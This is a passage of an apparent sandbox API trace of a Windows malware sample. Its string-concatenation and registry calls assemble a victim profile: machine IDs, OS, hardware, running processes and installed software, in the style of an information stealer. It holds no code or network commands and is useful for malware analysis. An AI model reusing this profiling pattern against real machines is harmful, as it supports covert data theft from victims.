[0054.954] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\n", lpString2="Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501"
[0054.954] RegQueryValueExA (in: hKey=0x514, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x1816b0, lpData=0x181ec4, lpcbData=0x1816c0*=0x400 | out: lpType=0x1816b0*=0x1, lpData="12.0.30501.0", lpcbData=0x1816c0*=0xd) returned 0x0
[0054.954] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501", lpString2=" [" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 ["
[0054.954] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe 